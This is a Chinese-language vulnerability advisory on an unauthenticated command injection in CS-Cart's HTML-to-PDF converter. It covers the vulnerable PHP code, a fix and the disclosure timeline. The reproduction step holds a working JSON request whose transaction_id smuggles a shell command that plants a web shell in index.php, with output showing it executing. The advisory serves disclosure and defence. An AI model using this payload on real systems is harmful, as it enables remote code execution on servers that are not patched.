CS-Cart PDF插件未授权命令注入漏洞分析

本文详细分析了CS-Cart HTML to PDF转换器插件中的未授权命令注入漏洞,该漏洞允许攻击者实现远程代码执行,影响所有版本至提交0e8c5bb,CVSS评分为9.8(严重)。

CS-Cart PDF插件未授权命令注入 | STAR实验室

摘要

CS-Cart的HTML to PDF转换器(https://github.com/cscart/pdf)存在命令注入漏洞,允许未授权攻击者实现远程命令执行(RCE)。该漏洞仅影响HTML to PDF转换器服务以及PDF转换器插件使用的默认托管服务converter.cart-services.com(由CS-Cart开发团队维护),并不允许对CS-Cart基础安装进行RCE。

产品背景

在CS-Cart v4.13.2中,HTML to PDF转换器是一个可选插件(默认禁用),用于在CS-Cart中打印PDF文档。然而,在CS-Cart v4.13.1或更低版本中,该插件是内置且默认启用的。 请注意,受影响的产品指的是用于将HTML转换为PDF的外部服务,可以自托管。

确认受影响的版本

CS-Cart HTML to PDF转换器服务cscart/pdf的所有版本(包括提交0e8c5bb)均受影响。

安全影响

未授权攻击者能够通过PDF转换器服务获得远程代码执行。

建议的CVSS3.1评分

基础评分 - 9.8(严重)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

漏洞描述

请求体在/index.php中被JSON解码为关联对象:

1
2
3
4
5
6
7
8
...
$r = new Router(APP_WEB);

$r->post('/pdf/render', function() {
    $request = json_decode(file_get_contents('php://input'), true);
    return Converter::convert($request);
})->accept(Response::pdf());
...

漏洞可以在/app/Pdfc/Converter.php中声明的Converter::convert($params)函数中找到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

namespace Pdfc;

class Converter
{
    ...
    static public function convert($params)
    {
        ...
        if (!empty($params['content'])) {

            $transaction_id = '';
            if (!empty($params['transaction_id'])) {
                $transaction_id = $params['transaction_id']; // [1]
            } else {
                $transaction_id = md5(uniqid('', true));
            }

            $html_file = APP_DIR . '/files/' . $transaction_id . '.html'; // [2]
            $pdf_file = APP_DIR . '/files/' . $transaction_id . '.pdf';   // [3]
            @file_put_contents($html_file, $params['content']);           // [4]

            $cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . $html_file . ' ' . $pdf_file; // [5]
            exec($cmd); // [6]

            $contents = @file_get_contents($pdf_file);
            unlink($html_file);
            unlink($pdf_file);
        }

        return $contents;
    }
    ...
}

在[1]处,$params[’transaction_id’]是从请求体的JSON对象中获取的用户输入。 在[2]和[3]处,分别使用[1]处的用户输入构造HTML和PDF文件的文件路径。然而,由于用户输入未经过验证和清理,$transaction_id可能包含任意字符。 在[4]处,使用路径遍历payload(即在$transaction_id中使用../)可能超出预期的/files/目录进行文件写入。虽然这与命令注入漏洞无关,但值得注意和修复。 在[5]处,使用分别来自[2]和[3]的$html_file和$pdf_file构造shell命令,而没有正确转义包含不受信任用户输入的参数。随后,在[6]处,该命令在shell中执行,从而允许远程命令执行。

以下端点可能被利用以使用用户控制的值调用易受攻击的Converter::convert()函数:

  • /pdf/render (POST)
  • /pdf/batch/add (POST) 结合 /pdf/batch/render/* (GET/POST)

重现步骤

  1. 按照https://github.com/cscart/pdf-infrastructure上的说明,在Docker环境中设置HTML to PDF转换器基础设施。
  2. 发出以下HTTP请求以利用命令注入漏洞将PHP代码附加到/index.php处的路由器文件:
1
2
3
4
5
6
7
POST /pdf/render HTTP/1.1
Host: localhost
Content-Type: application/json
Accept: */*
Content-Length: 180

{"content":" ","transaction_id":"; echo '$r->get(\"/rce\", function() { return shell_exec($_GET[\"cmd\"]); })->accept(Response::status());' >> /var/www/html/genworker/index.php #"}
  1. 导航到http://localhost:80/index.php?cmd=id,并观察id命令的输出返回:
1
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),2(daemon),4(adm)

建议

确保在使用用户输入构造shell命令之前对其进行验证和清理。在这种特定情况下,一个简单的修复方法是相应地转义每个命令参数:

1
2
3
4
5
6
7
8
...
$html_file = APP_DIR . '/files/' . $transaction_id . '.html';
$pdf_file = APP_DIR . '/files/' . $transaction_id . '.pdf';
@file_put_contents($html_file, $params['content']);

$cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . escapeshellarg($html_file) . ' ' . escapeshellarg($pdf_file);
exec($cmd);
...

虽然上述代码片段修复了命令注入漏洞,但请注意,仍然需要实施适当的验证检查,以防止通过$transaction_id进行路径遍历攻击。

幸运的是,对于所有CS-Cart用户,他们内部也发现了这个问题。这是他们对我们的回应:

我们非常赞赏您在发现此漏洞方面的努力,并清楚地看到了您的专业方法。 幸运的是,我们不久前通过内部审计了解了这个问题,并已经完全更改了此服务使用的所有逻辑,使其不再受此漏洞影响: https://github.com/cscart/pdf-infrastructure/commit/0b4b11cf254d8556fbd13d442ba9ea8e8dc3db64 https://github.com/cscart/pdf/commit/b49d68eeb35b08ed08f90eaea04eca7ef397bc97 因此,现在此漏洞不再适用,也无法影响服务。

注意:虽然供应商提供的托管服务已修复,但自托管HTML to PDF转换器服务的用户需要相应更新和修补。

发现者

STAR实验室的Ngo Wei Lin (@Creastery) (@starlabs_sg)

时间线

  • 2023年2月9日 - 向供应商披露
  • 2023年2月13日 - 供应商确认,但在我们报告前几天已修复
  • 2023年3月3日 - 公开发布
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计